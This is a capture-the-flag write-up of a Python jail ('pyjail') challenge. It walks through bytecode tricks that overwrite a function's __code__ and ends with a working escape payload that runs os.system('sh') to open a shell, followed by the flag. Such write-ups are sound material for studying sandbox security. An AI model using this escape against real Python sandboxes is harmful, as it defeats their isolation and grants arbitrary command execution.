TI-1337 Silver Edition
Authors: Robin_Jadoul
Tags: misc, pyjail
Points: 299 (13 solves)
Challenge Author: kmh
Description: Back in the day the silver edition was the top of the line Texas Instruments calculator, but now the security is looking a little obsolete. Can you break it?
#!/usr/bin/env python3
import dis
import sys
banned = ["MAKE_FUNCTION", "CALL_FUNCTION", "CALL_FUNCTION_KW", "CALL_FUNCTION_EX"]
used_gift = False
def gift(target, name, value):
global used_gift
if used_gift: sys.exit(1)
used_gift = True
setattr(target, name, value)
print("Welcome to the TI-1337 Silver Edition. Enter your calculations below:")
math = input("> ")
if len(math) > 1337:
print("Nobody needs that much math!")
sys.exit(1)
code = compile(math, "<math>", "exec")
bytecode = list(code.co_code)
instructions = list(dis.get_instructions(code))
for i, inst in enumerate(instructions):
if inst.is_jump_target:
print("Math doesn't need control flow!")
sys.exit(1)
nextoffset = instructions[i+1].offset if i+1 < len(instructions) else len(bytecode)
if inst.opname in banned:
bytecode[inst.offset:instructions[i+1].offset] = [-1]*(instructions[i+1].offset-inst.offset)
names = list(code.co_names)
for i, name in enumerate(code.co_names):
if "__" in name: names[i] = "$INVALID$"
code = code.replace(co_code=bytes(b for b in bytecode if b >= 0), co_names=tuple(names), co_stacksize=2**20)
v = {}
exec(code, {"__builtins__": {"gift": gift}}, v)
if v: print("\n".join(f"{name} = {val}" for name, val in v.items()))
else: print("No results stored.")
A high horse level overview
Let’s have a look at the restrictions on our payload:
- We can perform a single call to the function
gift
which simply delegates tosetattr
- length < 1337, that seems fairly generous
- No control flow, at all, if
dis
thinks we’re jumping somewhere, it kills us - No making any functions or calling them; observe that the instruction is stripped, rather than the entire payload being killed
- Anything that smells like a dunder method is renamed to be
$INVALID$
instead - No builtins, only the gift
- Whatever we assign to will be printed upon exit
Looking a gift
horse function into the mouth
One of the very first observations we can make: we have a function we can call, except… we shouldn’t be able to call any functions at all. Curious.
Let’s have a scroll through (the documentation for1) the most useful resource for this challenge: the dis
module.
Maybe we can even perform a search for CALL
.
And behold, there appears an instruction that isn’t blocked, but that appears useful: CALL_METHOD
.
This opcode is designed to be used with
LOAD_METHOD
So then how can we get LOAD_METHOD
to be executed?
A method is loaded when we try to call something that looks like a method: a dotted name.
So if we can get a call to something like x.y()
, that should give us a function call we so sorely need.
If only we had something to assign attributes too…
Oh, we have gift
, you say?
Indeed, simply assigning to gift.gift = gift
allows us to call gift.gift(target, name, value)
.
With that out of the way, let’s see what we can try to setattr
.
Swapping horses code midstream
Given that we have no access to special methods and variables at all currently, it would make sense to target one of those with our one call to setattr
.
We could try to overwrite gift.__globals__
in order to get more calls to gift
, but unfortunately, that’s a readonly attribute.
Looking through every attribute that’s available on this so-called gift, we notice that gift.__builtins__
refers to the original builtins.
If we could somehow hijack control of gift’s execution, or access that attribute; we could gain back control and quickly escalate to shell.
The question remains, how can we achieve that.
And that question is answered only a few entries later in dir(gift)
: gift.__code__
is writable.
If we could somehow construct and a handle to a code object that does what we tell it to do, we could have it run with access to the real builtins, and stand triumphant with this dead calculator at our feet.
My kingdom for a horse code object
How does one generally go about creating code objects? Obviously there’s the constructor, but given that we can’t get access to that type to call it, that’s out of the question. Code objects, interestingly also get created when we try to make a function.
Now you might start interrupting and say something like “but we can’t make functions, and even if we could, we can’t access a function’s __code__
“, which is of course very true, but also entirely besides the question.
All we need is the code object on the execution stack.
Let’s have a look at what instructions get executed when we try to create a function:
>>> import dis
>>> dis.dis(compile("""def x(): pass""", "", "exec"))
1 0 LOAD_CONST 0 (<code object x at 0x7fb5838856e0, file "", line 1>)
2 LOAD_CONST 1 ('x')
4 MAKE_FUNCTION 0
6 STORE_NAME 0 (x)
8 LOAD_CONST 2 (None)
10 RETURN_VALUE
Disassembly of <code object x at 0x7fb5838856e0, file "", line 1>:
1 0 LOAD_CONST 0 (None)
2 RETURN_VALUE
Now just imagine that MAKE_FUNCTION
gone, and we’re left with an interesting value on the stack.
Similarly, when we try to do this with a lambda:
>>> dis.dis(compile("""x = lambda: 0""", "", "exec"))
1 0 LOAD_CONST 0 (<code object <lambda> at 0x7fb5838858f0, file "", line 1>)
2 LOAD_CONST 1 ('<lambda>')
4 MAKE_FUNCTION 0
6 STORE_NAME 0 (x)
8 LOAD_CONST 2 (None)
10 RETURN_VALUE
Disassembly of <code object <lambda> at 0x7fb5838858f0, file "", line 1>:
1 0 LOAD_CONST 1 (0)
2 RETURN_VALUE
Imagine the MAKE_FUNCTION
gone again, and we’d almost even directly assign this code object to a variable we could reference.
Only that pesky name is in the way, grrrr.
Now it comes to massaging the stack a bit and actually getting our hands on the code object.
The intended solution here becomes fairly tricky and combines EXTENDED_ARG
(used for the number of arguments to a function) with BUILD_MAP
to read past the stack, but we shall take a simpler route here.
After experimenting with tuple unpacking,2 we observe that the following code is fairly interesting:
>>> dis.dis(compile("""x = (y, z)""", "", "exec"))
1 0 LOAD_NAME 0 (y)
2 LOAD_NAME 1 (z)
4 BUILD_TUPLE 2
6 STORE_NAME 2 (x)
8 LOAD_CONST 0 (None)
10 RETURN_VALUE
More specifically, BUILD_TUPLE(2)
takes the topmost 2 elements from the stack, and puts them into a tuple.
If we now would happen to have not z
, but "<lambda>"
and a code object on the stack, poor y
would get ignored, and we’d get a way more interesting tuple instead:
>>> dis.dis(compile("""x = (0, lambda: None)""", "", "exec"))
1 0 LOAD_CONST 0 (0)
2 LOAD_CONST 1 (<code object <lambda> at 0x7fb5838858f0, file "", line 1>)
4 LOAD_CONST 2 ('<lambda>')
6 MAKE_FUNCTION 0
8 BUILD_TUPLE 2
10 STORE_NAME 0 (x)
12 LOAD_CONST 3 (None)
14 RETURN_VALUE
Disassembly of <code object <lambda> at 0x7fb5838858f0, file "", line 1>:
1 0 LOAD_CONST 0 (None)
2 RETURN_VALUE
Simply access this tuple at index 0, and we have reached our destination.
Flagging a dead horse
It’s only a matter of putting everything together from here on out. We want to:
- Create a code object that gives us a shell
- Assign it to
gift.__code__
by callinggift
- Call the all new and improved
gift
again to get our sweet shell
So, let’s do exactly that.
# step 1
c = (0, lambda: __import__('os').system('sh'))[0]
# step 2
gift.x = gift
gift.x(gift, "__code__", c)
# step 3
gift.x()
One more interesting fact here is that we can use the __import__
name without problem, since the code object is a constant, and not strictly part of the instructions/names of the code object being cleaned by the jail.
dice{i_sh0uldve_upgr4ded_to_th3_color_edit10n}
I generally like pyjail escapes, and this one was definitely no exception. It probably was one of the most fun ones I’ve done in a while, so thanks for that, kmh :)
-
It’s really hard to decide what’s more the MVP here, the
dis
module, or its documentation that contains an overview of all these juicy instructions. ↩ -
And completely missing the fact that python optimizes out the tuple packing and unpacking if we have 2 items on both sides of the
=
. Rather than packing, unpacking and crashing because the number of elements isn’t right,x,y = 0, lambda: None
simply gets compiled to a fewLOAD
s, aROT
and twoSTORE
s. An even quicker solution than what we end up doing next. ↩